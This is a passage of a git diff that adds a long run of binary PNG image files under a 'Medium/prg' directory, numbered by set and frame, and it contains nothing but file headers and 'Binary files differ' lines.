a/Medium/prg/46_001.png b/Medium/prg/46_001.png new file mode 100644 index 0000000..0641557 Binary files /dev/null and b/Medium/prg/46_001.png differ diff --git a/Medium/prg/46_002.png b/Medium/prg/46_002.png new file mode 100644 index 0000000..9ff3581 Binary files /dev/null and b/Medium/prg/46_002.png differ diff --git a/Medium/prg/46_003.png b/Medium/prg/46_003.png new file mode 100644 index 0000000..69c01ef Binary files /dev/null and b/Medium/prg/46_003.png differ diff --git a/Medium/prg/46_004.png b/Medium/prg/46_004.png new file mode 100644 index 0000000..72c358d Binary files /dev/null and b/Medium/prg/46_004.png differ diff --git a/Medium/prg/46_005.png b/Medium/prg/46_005.png new file mode 100644 index 0000000..3b4121d Binary files /dev/null and b/Medium/prg/46_005.png differ diff --git a/Medium/prg/46_006.png b/Medium/prg/46_006.png new file mode 100644 index 0000000..e464378 Binary files /dev/null and b/Medium/prg/46_006.png differ diff --git a/Medium/prg/46_007.png b/Medium/prg/46_007.png new file mode 100644 index 0000000..cb9f87a Binary files /dev/null and b/Medium/prg/46_007.png differ diff --git a/Medium/prg/46_008.png b/Medium/prg/46_008.png new file mode 100644 index 0000000..a5f94d5 Binary files /dev/null and b/Medium/prg/46_008.png differ diff --git a/Medium/prg/46_009.png b/Medium/prg/46_009.png new file mode 100644 index 0000000..e09d20e Binary files /dev/null and b/Medium/prg/46_009.png differ diff --git a/Medium/prg/46_010.png b/Medium/prg/46_010.png new file mode 100644 index 0000000..d9137a1 Binary files /dev/null and b/Medium/prg/46_010.png differ diff --git a/Medium/prg/46_011.png b/Medium/prg/46_011.png new file mode 100644 index 0000000..da921a4 Binary files /dev/null and b/Medium/prg/46_011.png differ diff --git a/Medium/prg/46_012.png b/Medium/prg/46_012.png new file mode 100644 index 0000000..a9a1073 Binary files /dev/null and b/Medium/prg/46_012.png differ diff --git a/Medium/prg/46_013.png b/Medium/prg/46_013.png new file mode 100644 index 0000000..ff0f115 Binary files /dev/null and b/Medium/prg/46_013.png differ diff --git a/Medium/prg/46_014.png b/Medium/prg/46_014.png new file mode 100644 index 0000000..06d8307 Binary files /dev/null and b/Medium/prg/46_014.png differ diff --git a/Medium/prg/46_015.png b/Medium/prg/46_015.png new file mode 100644 index 0000000..7a63577 Binary files /dev/null and b/Medium/prg/46_015.png differ diff --git a/Medium/prg/47_001.png b/Medium/prg/47_001.png new file mode 100644 index 0000000..f142e9c Binary files /dev/null and b/Medium/prg/47_001.png differ diff --git a/Medium/prg/47_002.png b/Medium/prg/47_002.png new file mode 100644 index 0000000..8e4f267 Binary files /dev/null and b/Medium/prg/47_002.png differ diff --git a/Medium/prg/47_003.png b/Medium/prg/47_003.png new file mode 100644 index 0000000..0528cb2 Binary files /dev/null and b/Medium/prg/47_003.png differ diff --git a/Medium/prg/47_004.png b/Medium/prg/47_004.png new file mode 100644 index 0000000..a4811d4 Binary files /dev/null and b/Medium/prg/47_004.png differ diff --git a/Medium/prg/47_005.png b/Medium/prg/47_005.png new file mode 100644 index 0000000..de2988b Binary files /dev/null and b/Medium/prg/47_005.png differ diff --git a/Medium/prg/47_006.png b/Medium/prg/47_006.png new file mode 100644 index 0000000..89c7186 Binary files /dev/null and b/Medium/prg/47_006.png differ diff --git a/Medium/prg/47_007.png b/Medium/prg/47_007.png new file mode 100644 index 0000000..6df8142 Binary files /dev/null and b/Medium/prg/47_007.png differ diff --git a/Medium/prg/47_008.png b/Medium/prg/47_008.png new file mode 100644 index 0000000..afe454f Binary files /dev/null and b/Medium/prg/47_008.png differ diff --git a/Medium/prg/47_009.png b/Medium/prg/47_009.png new file mode 100644 index 0000000..bb2a251 Binary files /dev/null and b/Medium/prg/47_009.png differ diff --git a/Medium/prg/47_010.png b/Medium/prg/47_010.png new file mode 100644 index 0000000..2e2010f Binary files /dev/null and b/Medium/prg/47_010.png differ diff --git a/Medium/prg/47_011.png b/Medium/prg/47_011.png new file mode 100644 index 0000000..d43d978 Binary files /dev/null and b/Medium/prg/47_011.png differ diff --git a/Medium/prg/47_012.png b/Medium/prg/47_012.png new file mode 100644 index 0000000..515ec62 Binary files /dev/null and b/Medium/prg/47_012.png differ diff --git a/Medium/prg/47_013.png b/Medium/prg/47_013.png new file mode 100644 index 0000000..f65de0c Binary files /dev/null and b/Medium/prg/47_013.png differ diff --git a/Medium/prg/47_014.png b/Medium/prg/47_014.png new file mode 100644 index 0000000..5f57f2e Binary files /dev/null and b/Medium/prg/47_014.png differ diff --git a/Medium/prg/47_015.png b/Medium/prg/47_015.png new file mode 100644 index 0000000..714d7a2 Binary files /dev/null and b/Medium/prg/47_015.png differ diff --git a/Medium/prg/47_016.png b/Medium/prg/47_016.png new file mode 100644 index 0000000..580ac67 Binary files /dev/null and b/Medium/prg/47_016.png differ diff --git a/Medium/prg/47_017.png b/Medium/prg/47_017.png new file mode 100644 index 0000000..153f203 Binary files /dev/null and b/Medium/prg/47_017.png differ diff --git a/Medium/prg/47_018.png b/Medium/prg/47_018.png new file mode 100644 index 0000000..8df8e0d Binary files /dev/null and b/Medium/prg/47_018.png differ diff --git a/Medium/prg/47_019.png b/Medium/prg/47_019.png new file mode 100644 index 0000000..3c09608 Binary files /dev/null and b/Medium/prg/47_019.png differ diff --git a/Medium/prg/47_020.png b/Medium/prg/47_020.png new file mode 100644 index 0000000..430cd0f Binary files /dev/null and b/Medium/prg/47_020.png differ diff --git a/Medium/prg/47_021.png b/Medium/prg/47_021.png new file mode 100644 index 0000000..92d1cc5 Binary files /dev/null and b/Medium/prg/47_021.png differ diff --git a/Medium/prg/48_001.png b/Medium/prg/48_001.png new file mode 100644 index 0000000..53a9a4c Binary files /dev/null and b/Medium/prg/48_001.png differ diff --git a/Medium/prg/48_002.png b/Medium/prg/48_002.png new file mode 100644 index 0000000..a72155a Binary files /dev/null and b/Medium/prg/48_002.png differ diff --git a/Medium/prg/48_003.png b/Medium/prg/48_003.png new file mode 100644 index 0000000..91b0d90 Binary files /dev/null and b/Medium/prg/48_003.png differ diff --git a/Medium/prg/48_004.png b/Medium/prg/48_004.png new file mode 100644 index 0000000..14c7aec Binary files /dev/null and b/Medium/prg/48_004.png differ diff --git a/Medium/prg/48_005.png b/Medium/prg/48_005.png new file mode 100644 index 0000000..65f0735 Binary files /dev/null and b/Medium/prg/48_005.png differ diff --git a/Medium/prg/48_006.png b/Medium/prg/48_006.png new file mode 100644 index 0000000..ce0eaef Binary files /dev/null and b/Medium/prg/48_006.png differ diff --git a/Medium/prg/48_007.png b/Medium/prg/48_007.png new file mode 100644 index 0000000..ee83d9e Binary files /dev/null and b/Medium/prg/48_007.png differ diff --git a/Medium/prg/48_008.png b/Medium/prg/48_008.png new file mode 100644 index 0000000..458c6b0 Binary files /dev/null and b/Medium/prg/48_008.png differ diff --git a/Medium/prg/48_009.png b/Medium/prg/48_009.png new file mode 100644 index 0000000..1981977 Binary files /dev/null and b/Medium/prg/48_009.png differ diff --git a/Medium/prg/48_010.png b/Medium/prg/48_010.png new file mode 100644 index 0000000..2072bd0 Binary files /dev/null and b/Medium/prg/48_010.png differ diff --git a/Medium/prg/49_001.png b/Medium/prg/49_001.png new file mode 100644 index 0000000..f381ad2 Binary files /dev/null and b/Medium/prg/49_001.png differ diff --git a/Medium/prg/49_002.png b/Medium/prg/49_002.png new file mode 100644 index 0000000..cda75da Binary files /dev/null and b/Medium/prg/49_002.png differ diff --git a/Medium/prg/49_003.png b/Medium/prg/49_003.png new file mode 100644 index 0000000..fc3456a Binary files /dev/null and b/Medium/prg/49_003.png differ diff --git a/Medium/prg/49_005.png b/Medium/prg/49_005.png new file mode 100644 index 0000000..9b423a4 Binary files /dev/null and b/Medium/prg/49_005.png differ diff --git a/Medium/prg/49_006.png b/Medium/prg/49_006.png new file mode 100644 index 0000000..80604f4 Binary files /dev/null and b/Medium/prg/49_006.png differ diff --git a/Medium/prg/49_007.png b/Medium/prg/49_007.png new file mode 100644 index 0000000..8bc665e Binary files /dev/null and b/Medium/prg/49_007.png differ diff --git a/Medium/prg/49_008.png b/Medium/prg/49_008.png new file mode 100644 index 0000000..f5366c8 Binary files /dev/null and b/Medium/prg/49_008.png differ diff --git a/Medium/prg/49_009.png b/Medium/prg/49_009.png new file mode 100644 index 0000000..c1f3e47 Binary files /dev/null and b/Medium/prg/49_009.png differ diff --git a/Medium/prg/49_010.png b/Medium/prg/49_010.png new file mode 100644 index 0000000..34ce8ee Binary files /dev/null and b/Medium/prg/49_010.png differ diff --git a/Medium/prg/49_011.png b/Medium/prg/49_011.png new file mode 100644 index 0000000..572bc4d Binary files /dev/null and b/Medium/prg/49_011.png differ diff --git a/Medium/prg/49_012.png b/Medium/prg/49_012.png new file mode 100644 index 0000000..1cc81c8 Binary files /dev/null and b/Medium/prg/49_012.png differ diff --git a/Medium/prg/49_013.png b/Medium/prg/49_013.png new file mode 100644 index 0000000..f3b984d Binary files /dev/null and b/Medium/prg/49_013.png differ diff --git a/Medium/prg/49_014.png b/Medium/prg/49_014.png new file mode 100644 index 0000000..a3657fa Binary files /dev/null and b/Medium/prg/49_014.png differ diff --git a/Medium/prg/4_001.png b/Medium/prg/4_001.png new file mode 100644 index 0000000..9489050 Binary files /dev/null and b/Medium/prg/4_001.png differ diff --git a/Medium/prg/4_002.png b/Medium/prg/4_002.png new file mode 100644 index 0000000..c02622e Binary files /dev/null and b/Medium/prg/4_002.png differ diff --git a/Medium/prg/4_003.png b/Medium/prg/4_003.png new file mode 100644 index 0000000..c42dad9 Binary files /dev/null and b/Medium/prg/4_003.png differ diff --git a/Medium/prg/4_004.png b/Medium/prg/4_004.png new file mode 100644 index 0000000..ac02e4e Binary files /dev/null and b/Medium/prg/4_004.png differ diff --git a/Medium/prg/4_005.png b/Medium/prg/4_005.png new file mode 100644 index 0000000..6137aa3 Binary files /dev/null and b/Medium/prg/4_005.png differ diff --git a/Medium/prg/4_006.png b/Medium/prg/4_006.png new file mode 100644 index 0000000..84a0fc3 Binary files /dev/null and b/Medium/prg/4_006.png differ diff --git a/Medium/prg/4_007.png b/Medium/prg/4_007.png new file mode 100644 index 0000000..04fa23d Binary files /dev/null and b/Medium/prg/4_007.png differ diff --git a/Medium/prg/50_001.png b/Medium/prg/50_001.png new file mode 100644 index 0000000..4bd1479 Binary files /dev/null and b/Medium/prg/50_001.png differ diff --git a/Medium/prg/50_002.png b/Medium/prg/50_002.png new file mode 100644 index 0000000..e6e32e8 Binary files /dev/null and b/Medium/prg/50_002.png differ diff --git a/Medium/prg/50_003.png b/Medium/prg/50_003.png new file mode 100644 index 0000000..b7c14e6 Binary files /dev/null and b/Medium/prg/50_003.png differ diff --git a/Medium/prg/50_004.png b/Medium/prg/50_004.png new file mode 100644 index 0000000..6218779 Binary files /dev/null and b/Medium/prg/50_004.png differ diff --git a/Medium/prg/50_005.png b/Medium/prg/50_005.png new file mode 100644 index 0000000..4c1b4a5 Binary files /dev/null and b/Medium/prg/50_005.png differ diff --git a/Medium/prg/50_006.png b/Medium/prg/50_006.png new file mode 100644 index 0000000..d364330 Binary files /dev/null and b/Medium/prg/50_006.png differ diff --git a/Medium/prg/50_007.png b/Medium/prg/50_007.png new file mode 100644 index 0000000..1811bc5 Binary files /dev/null and b/Medium/prg/50_007.png differ diff --git a/Medium/prg/50_008.png b/Medium/prg/50_008.png new file mode 100644 index 0000000..412fdd0 Binary files /dev/null and b/Medium/prg/50_008.png differ diff --git a/Medium/prg/50_009.png b/Medium/prg/50_009.png new file mode 100644 index 0000000..dd8c044 Binary files /dev/null and b/Medium/prg/50_009.png differ diff --git a/Medium/prg/50_010.png b/Medium/prg/50_010.png new file mode 100644 index 0000000..9a6e79b Binary files /dev/null and b/Medium/prg/50_010.png differ diff --git a/Medium/prg/50_011.png b/Medium/prg/50_011.png new file mode 100644 index 0000000..09eaafc Binary files /dev/null and b/Medium/prg/50_011.png differ diff --git a/Medium/prg/51_001.png b/Medium/prg/51_001.png new file mode 100644 index 0000000..b7eb002 Binary files /dev/null and b/Medium/prg/51_001.png differ diff --git a/Medium/prg/51_002.png b/Medium/prg/51_002.png new file mode 100644 index 0000000..74c9d0a Binary files /dev/null and b/Medium/prg/51_002.png differ diff --git a/Medium/prg/51_003.png b/Medium/prg/51_003.png new file mode 100644 index 0000000..433fff7 Binary files /dev/null and b/Medium/prg/51_003.png differ diff --git a/Medium/prg/51_004.png b/Medium/prg/51_004.png new file mode 100644 index 0000000..64e2f76 Binary files /dev/null and b/Medium/prg/51_004.png differ diff --git a/Medium/prg/53_001.png b/Medium/prg/53_001.png new file mode 100644 index 0000000..6a4acf2 Binary files /dev/null and b/Medium/prg/53_001.png differ diff --git a/Medium/prg/53_002.png b/Medium/prg/53_002.png new file mode 100644 index 0000000..d50130d Binary files /dev/null and b/Medium/prg/53_002.png differ diff --git a/Medium/prg/53_003.png b/Medium/prg/53_003.png new file mode 100644 index 0000000..4e4ca37 Binary files /dev/null and b/Medium/prg/53_003.png differ diff --git a/Medium/prg/53_004.png b/Medium/prg/53_004.png new file mode 100644 index 0000000..041af9c Binary files /dev/null and b/Medium/prg/53_004.png differ diff --git a/Medium/prg/53_005.png b/Medium/prg/53_005.png new file mode 100644 index 0000000..20d926b Binary files /dev/null and b/Medium/prg/53_005.png differ diff --git a/Medium/prg/53_006.png b/Medium/prg/53_006.png new file mode 100644 index 0000000..20f2aba Binary files /dev/null and b/Medium/prg/53_006.png differ diff --git a/Medium/prg/53_007.png b/Medium/prg/53_007.png new file mode 100644 index 0000000..df10df4 Binary files /dev/null and b/Medium/prg/53_007.png differ diff --git a/Medium/prg/53_008.png b/Medium/prg/53_008.png new file mode 100644 index 0000000..5bf948b Binary files /dev/null and b/Medium/prg/53_008.png differ diff --git a/Medium/prg/53_009.png b/Medium/prg/53_009.png new file mode 100644 index 0000000..f76ca4c Binary files /dev/null and b/Medium/prg/53_009.png differ diff --git a/Medium/prg/53_010.png b/Medium/prg/53_010.png new file mode 100644 index 0000000..682b29c Binary files /dev/null and b/Medium/prg/53_010.png differ diff --git a/Medium/prg/53_011.png b/Medium/prg/53_011.png new file mode 100644 index 0000000..368e73a Binary files /dev/null and b/Medium/prg/53_011.png differ diff --git a/Medium/prg/53_012.png b/Medium/prg/53_012.png new file mode 100644 index 0000000..1e38090 Binary files /dev/null and b/Medium/prg/53_012.png differ diff --git a/Medium/prg/53_013.png b/Medium/prg/53_013.png new file mode 100644 index 0000000..8152358 Binary files /dev/null and b/Medium/prg/53_013.png differ diff --git a/Medium/prg/53_014.png b/Medium/prg/53_014.png new file mode 100644 index 0000000..d94f6b8 Binary files /dev/null and b/Medium/prg/53_014.png differ diff --git a/Medium/prg/53_015.png b/Medium/prg/53_015.png new file mode 100644 index 0000000..a87c827 Binary files /dev/null and b/Medium/prg/53_015.png differ diff --git a/Medium/prg/53_016.png b/Medium/prg/53_016.png new file mode 100644 index 0000000..59d093e Binary files /dev/null and b/Medium/prg/53_016.png differ diff --git a/Medium/prg/53_017.png b/Medium/prg/53_017.png new file mode 100644 index 0000000..713bca9 Binary files /dev/null and b/Medium/prg/53_017.png differ diff --git a/Medium/prg/53_018.png b/Medium/prg/53_018.png new file mode 100644 index 0000000..7449b0d Binary files /dev/null and b/Medium/prg/53_018.png differ diff --git a/Medium/prg/53_019.png b/Medium/prg/53_019.png new file mode 100644 index 0000000..3be2a55 Binary files /dev/null and b/Medium/prg/53_019.png differ diff --git a/Medium/prg/55_001.png b/Medium/prg/55_001.png new file mode 100644 index 0000000..255e560 Binary files /dev/null and b/Medium/prg/55_001.png differ diff --git a/Medium/prg/55_002.png b/Medium/prg/55_002.png new file mode 100644 index 0000000..e69665f Binary files /dev/null and b/Medium/prg/55_002.png differ diff --git a/Medium/prg/55_003.png b/Medium/prg/55_003.png new file mode 100644 index 0000000..188d1d9 Binary files /dev/null and b/Medium/prg/55_003.png differ diff --git a/Medium/prg/55_004.png b/Medium/prg/55_004.png new file mode 100644 index 0000000..eb913f2 Binary files /dev/null and b/Medium/prg/55_004.png differ diff --git a/Medium/prg/55_005.png b/Medium/prg/55_005.png new file mode 100644 index 0000000..0e19b05 Binary files /dev/null and b/Medium/prg/55_005.png differ diff --git a/Medium/prg/55_006.png b/Medium/prg/55_006.png new file mode 100644 index 0000000..06e5d6b Binary files /dev/null and b/Medium/prg/55_006.png differ diff --git a/Medium/prg/55_007.png b/Medium/prg/55_007.png new file mode 100644 index 0000000..29a80a8 Binary files /dev/null and b/Medium/prg/55_007.png differ diff --git a/Medium/prg/55_008.png b/Medium/prg/55_008.png new file mode 100644 index 0000000..3cb993e Binary files /dev/null and b/Medium/prg/55_008.png differ diff --git a/Medium/prg/55_009.png b/Medium/prg/55_009.png new file mode 100644 index 0000000..4911613 Binary files /dev/null and b/Medium/prg/55_009.png differ diff --git a/Medium/prg/55_010.png b/Medium/prg/55_010.png new file mode 100644 index 0000000..669fb63 Binary files /dev/null and b/Medium/prg/55_010.png differ diff --git a/Medium/prg/55_011.png b/Medium/prg/55_011.png new file mode 100644 index 0000000..3e96f94 Binary files /dev/null and b/Medium/prg/55_011.png differ diff --git a/Medium/prg/56_001.png b/Medium/prg/56_001.png new file mode 100644 index 0000000..1773920 Binary files /dev/null and b/Medium/prg/56_001.png differ diff --git a/Medium/prg/56_002.png b/Medium/prg/56_002.png new file mode 100644 index 0000000..07d57b6 Binary files /dev/null and b/Medium/prg/56_002.png differ diff --git a/Medium/prg/56_003.png b/Medium/prg/56_003.png new file mode 100644 index 0000000..d1da73a Binary files /dev/null and b/Medium/prg/56_003.png differ diff --git a/Medium/prg/56_004.png b/Medium/prg/56_004.png new file mode 100644 index 0000000..41b9571 Binary files /dev/null and b/Medium/prg/56_004.png differ diff --git a/Medium/prg/56_005.png b/Medium/prg/56_005.png new file mode 100644 index 0000000..a0ad78f Binary files /dev/null and b/Medium/prg/56_005.png differ diff --git a/Medium/prg/56_006.png b/Medium/prg/56_006.png new file mode 100644 index 0000000..8224c73 Binary files /dev/null and b/Medium/prg/56_006.png differ diff --git a/Medium/prg/56_007.png b/Medium/prg/56_007.png new file mode 100644 index 0000000..9aaaa0d Binary files /dev/null and b/Medium/prg/56_007.png differ diff --git a/Medium/prg/56_008.png b/Medium/prg/56_008.png new file mode 100644 index 0000000..94a8264 Binary files /dev/null and b/Medium/prg/56_008.png differ diff --git a/Medium/prg/56_009.png b/Medium/prg/56_009.png new file mode 100644 index 0000000..bb27bd4 Binary files /dev/null and b/Medium/prg/56_009.png differ diff --git a/Medium/prg/56_010.png b/Medium/prg/56_010.png new file mode 100644 index 0000000..a830b51 Binary files /dev/null and b/Medium/prg/56_010.png differ diff --git a/Medium/prg/57_001.png b/Medium/prg/57_001.png new file mode 100644 index 0000000..4b8d67b Binary files /dev/null and b/Medium/prg/57_001.png differ diff --git a/Medium/prg/57_002.png b/Medium/prg/57_002.png new file mode 100644 index 0000000..5dd4e45 Binary files /dev/null and b/Medium/prg/57_002.png differ diff --git a/Medium/prg/57_003.png b/Medium/prg/57_003.png new file mode 100644 index 0000000..a607c2f Binary files /dev/null and b/Medium/prg/57_003.png differ diff --git a/Medium/prg/57_004.png b/Medium/prg/57_004.png new file mode 100644 index 0000000..601ce4f Binary files /dev/null and b/Medium/prg/57_004.png differ diff --git a/Medium/prg/57_005.png b/Medium/prg/57_005.png new file mode 100644 index 0000000..f993a8c Binary files /dev/null and b/Medium/prg/57_005.png differ diff --git a/Medium/prg/57_006.png b/Medium/prg/57_006.png new file mode 100644 index 0000000..3349700 Binary files /dev/null and b/Medium/prg/57_006.png differ diff --git a/Medium/prg/58_001.png b/Medium/prg/58_001.png new file mode 100644 index 0000000..c421fbb Binary files /dev/null and b/Medium/prg/58_001.png differ diff --git a/Medium/prg/58_002.png b/Medium/prg/58_002.png new file mode 100644 index 0000000..e303c5a Binary files /dev/null and b/Medium/prg/58_002.png differ diff --git a/Medium/prg/59_001.png b/Medium/prg/59_001.png new file mode 100644 index 0000000..71f19d2 Binary files /dev/null and b/Medium/prg/59_001.png differ diff --git a/Medium/prg/59_002.png b/Medium/prg/59_002.png new file mode 100644 index 0000000..9c75875 Binary files /dev/null and b/Medium/prg/59_002.png differ diff --git a/Medium/prg/59_003.png b/Medium/prg/59_003.png new file mode 100644 index 0000000..0a8634c Binary files /dev/null and b/Medium/prg/59_003.png differ diff --git a/Medium/prg/59_004.png b/Medium/prg/59_004.png new file mode 100644 index 0000000..935df06 Binary files /dev/null and b/Medium/prg/59_004.png differ diff --git a/Medium/prg/59_005.png b/Medium/prg/59_005.png new file mode 100644 index 0000000..37862e5 Binary files /dev/null and b/Medium/prg/59_005.png differ diff --git a/Medium/prg/59_006.png b/Medium/prg/59_006.png new file mode 100644 index 0000000..621ca4b Binary files /dev/null and b/Medium/prg/59_006.png differ diff --git a/Medium/prg/59_007.png b/Medium/prg/59_007.png new file mode 100644 index 0000000..15b854a Binary files /dev/null and b/Medium/prg/59_007.png differ diff --git a/Medium/prg/5_001.png b/Medium/prg/5_001.png new file mode 100644 index 0000000..3e0975a Binary files /dev/null and b/Medium/prg/5_001.png differ diff --git a/Medium/prg/5_002.png b/Medium/prg/5_002.png new file mode 100644 index 0000000..9c33858 Binary files /dev/null and b/Medium/prg/5_002.png differ diff --git a/Medium/prg/5_003.png b/Medium/prg/5_003.png new file mode 100644 index 0000000..f5c7e00 Binary files /dev/null and b/Medium/prg/5_003.png differ diff --git a/Medium/prg/60_001.png b/Medium/prg/60_001.png new file mode 100644 index 0000000..c91df5a Binary files /dev/null and b/Medium/prg/60_001.png differ diff --git a/Medium/prg/60_002.png b/Medium/prg/60_002.png new file mode 100644 index 0000000..bf1dd1b Binary files /dev/null and b/Medium/prg/60_002.png differ diff --git a/Medium/prg/60_003.png b/Medium/prg/60_003.png new file mode 100644 index 0000000..ea182aa Binary files /dev/null and b/Medium/prg/60_003.png differ diff --git a/Medium/prg/60_004.png b/Medium/prg/60_004.png new file mode 100644 index 0000000..2ede012 Binary files /dev/null and b/Medium/prg/60_004.png differ diff --git a/Medium/prg/60_005.png b/Medium/prg/60_005.png new file mode 100644 index 0000000..32c50c0 Binary files /dev/null and b/Medium/prg/60_005.png differ diff --git a/Medium/prg/60_006.png b/Medium/prg/60_006.png new file mode 100644 index 0000000..c0addad Binary files /dev/null and b/Medium/prg/60_006.png differ diff --git a/Medium/prg/60_007.png b/Medium/prg/60_007.png new file mode 100644 index 0000000..c89e6f8 Binary files /dev/null and b/Medium/prg/60_007.png differ diff --git a/Medium/prg/60_008.png b/Medium/prg/60_008.png new file mode 100644 index 0000000..4169fe9 Binary files /dev/null and b/Medium/prg/60_008.png differ diff --git a/Medium/prg/60_009.png b/Medium/prg/60_009.png new file mode 100644 index 0000000..323ac64 Binary files /dev/null and b/Medium/prg/60_009.png differ diff --git a/Medium/prg/60_010.png b/Medium/prg/60_010.png new file mode 100644 index 0000000..841afd2 Binary files /dev/null and b/Medium/prg/60_010.png differ diff --git a/Medium/prg/60_011.png b/Medium/prg/60_011.png new file mode 100644 index 0000000..61342a1 Binary files /dev/null and b/Medium/prg/60_011.png differ diff --git a/Medium/prg/60_012.png b/Medium/prg/60_012.png new file mode 100644 index 0000000..1bb7398 Binary files /dev/null and b/Medium/prg/60_012.png differ diff --git a/Medium/prg/60_013.png b/Medium/prg/60_013.png new file mode 100644 index 0000000..3af8755 Binary files /dev/null and b/Medium/prg/60_013.png differ diff --git a/Medium/prg/60_014.png b/Medium/prg/60_014.png new file mode 100644 index 0000000..0b6a2b8 Binary files /dev/null and b/Medium/prg/60_014.png differ diff --git a/Medium/prg/60_015.png b/Medium/prg/60_015.png new file mode 100644 index 0000000..08c3d2b Binary files /dev/null and b/Medium/prg/60_015.png differ diff --git a/Medium/prg/60_016.png b/Medium/prg/60_016.png new file mode 100644 index 0000000..00c2876 Binary files /dev/null and b/Medium/prg/60_016.png differ diff --git a/Medium/prg/60_017.png b/Medium/prg/60_017.png new file mode 100644 index 0000000..dd2b41e Binary files /dev/null and b/Medium/prg/60_017.png differ diff --git a/Medium/prg/60_018.png b/Medium/prg/60_018.png new file mode 100644 index 0000000..33617e0 Binary files /dev/null and b/Medium/prg/60_018.png differ diff --git a/Medium/prg/60_019.png b/Medium/prg/60_019.png new file mode 100644 index 0000000..9abef74 Binary files /dev/null and b/Medium/prg/60_019.png differ diff --git a/Medium/prg/60_020.png b/Medium/prg/60_020.png new file mode 100644 index 0000000..fcf8fe6 Binary files /dev/null and b/Medium/prg/60_020.png differ diff --git a/Medium/prg/60_021.png b/Medium/prg/60_021.png new file mode 100644 index 0000000..36b35f1 Binary files /dev/null and b/Medium/prg/60_021.png differ diff --git a/Medium/prg/60_022.png b/Medium/prg/60_022.png new file mode 100644 index 0000000..e25037d Binary files /dev/null and b/Medium/prg/60_022.png differ diff --git a/Medium/prg/60_023.png b/Medium/prg/60_023.png new file mode 100644 index 0000000..8ecda7b Binary files /dev/null and b/Medium/prg/60_023.png differ diff --git a/Medium/prg/60_024.png b/Medium/prg/60_024.png new file mode 100644 index 0000000..2ad5b0e Binary files /dev/null and b/Medium/prg/60_024.png differ diff --git a/Medium/prg/60_025.png b/Medium/prg/60_025.png new file mode 100644 index 0000000..af88c48 Binary files /dev/null and b/Medium/prg/60_025.png differ diff --git a/Medium/prg/60_026.png b/Medium/prg/60_026.png new file mode 100644 index 0000000..6c1d0a4 Binary files /dev/null and b/Medium/prg/60_026.png differ diff --git a/Medium/prg/60_027.png b/Medium/prg/60_027.png new file mode 100644 index 0000000..a8340f6 Binary files /dev/null and b/Medium/prg/60_027.png differ diff --git a/Medium/prg/60_028.png b/Medium/prg/60_028.png new file mode 100644 index 0000000..1de1051 Binary files /dev/null and b/Medium/prg/60_028.png differ diff --git a/Medium/prg/60_029.png b/Medium/prg/60_029.png new file mode 100644 index 0000000..186bfe4 Binary files /dev/null and b/Medium/prg/60_029.png differ diff --git a/Medium/prg/60_030.png b/Medium/prg/60_030.png new file mode 100644 index 0000000..fd1bdc9 Binary files /dev/null and b/Medium/prg/60_030.png differ diff --git a/Medium/prg/60_031.png b/Medium/prg/60_031.png new file mode 100644 index 0000000..170f2a7 Binary files /dev/null and b/Medium/prg/60_031.png differ diff --git a/Medium/prg/60_032.png b/Medium/prg/60_032.png new file mode 100644 index 0000000..3a18c0f Binary files /dev/null and b/Medium/prg/60_032.png differ diff --git a/Medium/prg/60_033.png b/Medium/prg/60_033.png new file mode 100644 index 0000000..af2ebb6 Binary files /dev/null and b/Medium/prg/60_033.png differ diff --git a/Medium/prg/61_001.png b/Medium/prg/61_001.png new file mode 100644 index 0000000..16fa261 Binary files /dev/null and b/Medium/prg/61_001.png differ diff --git a/Medium/prg/61_002.png b/Medium/prg/61_002.png new file mode 100644 index 0000000..9f8a77c Binary files /dev/null and b/Medium/prg/61_002.png differ diff --git a/Medium/prg/61_003.png b/Medium/prg/61_003.png new file mode 100644 index 0000000..1c27bd7 Binary files /dev/null and b/Medium/prg/61_003.png differ diff --git a/Medium/prg/61_004.png b/Medium/prg/61_004.png new file mode 100644 index 0000000..0cddb5f Binary files /dev/null and b/Medium/prg/61_004.png differ diff --git a/Medium/prg/61_005.png b/Medium/prg/61_005.png new file mode 100644 index 0000000..fcdd609 Binary files /dev/null and b/Medium/prg/61_005.png differ diff --git a/Medium/prg/61_006.png b/Medium/prg/61_006.png new file mode 100644 index 0000000..2fea238 Binary files /dev/null and b/Medium/prg/61_006.png differ diff --git a/Medium/prg/61_007.png b/Medium/prg/61_007.png new file mode 100644 index 0000000..95e3e2b Binary files /dev/null and b/Medium/prg/61_007.png differ diff --git a/Medium/prg/62_001.png b/Medium/prg/62_001.png new file mode 100644 index 0000000..7f4e195 Binary files /dev/null and b/Medium/prg/62_001.png differ diff --git a/Medium/prg/62_002.png b/Medium/prg/62_002.png new file mode 100644 index 0000000..7feb788 Binary files /dev/null and b/Medium/prg/62_002.png differ diff --git a/Medium/prg/62_003.png b/Medium/prg/62_003.png new file mode 100644 index 0000000..1195449 Binary files /dev/null and b/Medium/prg/62_003.png differ diff --git a/Medium/prg/62_004.png b/Medium/prg/62_004.png new file mode 100644 index 0000000..7e24a40 Binary files /dev/null and b/Medium/prg/62_004.png differ diff --git a/Medium/prg/62_005.png b/Medium/prg/62_005.png new file mode 100644 index 0000000..ae6ade1 Binary files /dev/null and b/Medium/prg/62_005.png differ diff --git a/Medium/prg/62_006.png b/Medium/prg/62_006.png new file mode 100644 index 0000000..047ff9f Binary files /dev/null and b/Medium/prg/62_006.png differ diff --git a/Medium/prg/62_007.png b/Medium/prg/62_007.png new file mode 100644 index 0000000..d0396aa Binary files /dev/null and b/Medium/prg/62_007.png differ diff --git a/Medium/prg/62_008.png b/Medium/prg/62_008.png new file mode 100644 index 0000000..f335e9e Binary files /dev/null and b/Medium/prg/62_008.png differ diff --git a/Medium/prg/62_009.png b/Medium/prg/62_009.png new file mode 100644 index 0000000..adeab14 Binary files /dev/null and b/Medium/prg/62_009.png differ diff --git a/Medium/prg/62_010.png b/Medium/prg/62_010.png new file mode 100644 index 0000000..d208b8a Binary files /dev/null and b/Medium/prg/62_010.png differ diff --git a/Medium/prg/62_011.png b/Medium/prg/62_011.png new file mode 100644 index 0000000..7a00ebb Binary files /dev/null and b/Medium/prg/62_011.png differ diff --git a/Medium/prg/62_012.png b/Medium/prg/62_012.png new file mode 100644 index 0000000..949a4c0 Binary files /dev/null and b/Medium/prg/62_012.png differ diff --git a/Medium/prg/62_013.png b/Medium/prg/62_013.png new file mode 100644 index 0000000..66e4798 Binary files /dev/null and b/Medium/prg/62_013.png differ diff --git a/Medium/prg/62_014.png b/Medium/prg/62_014.png new file mode 100644 index 0000000..a2140dd Binary files /dev/null and b/Medium/prg/62_014.png differ diff --git a/Medium/prg/63_001.png b/Medium/prg/63_001.png new file mode 100644 index 0000000..b5f9f37 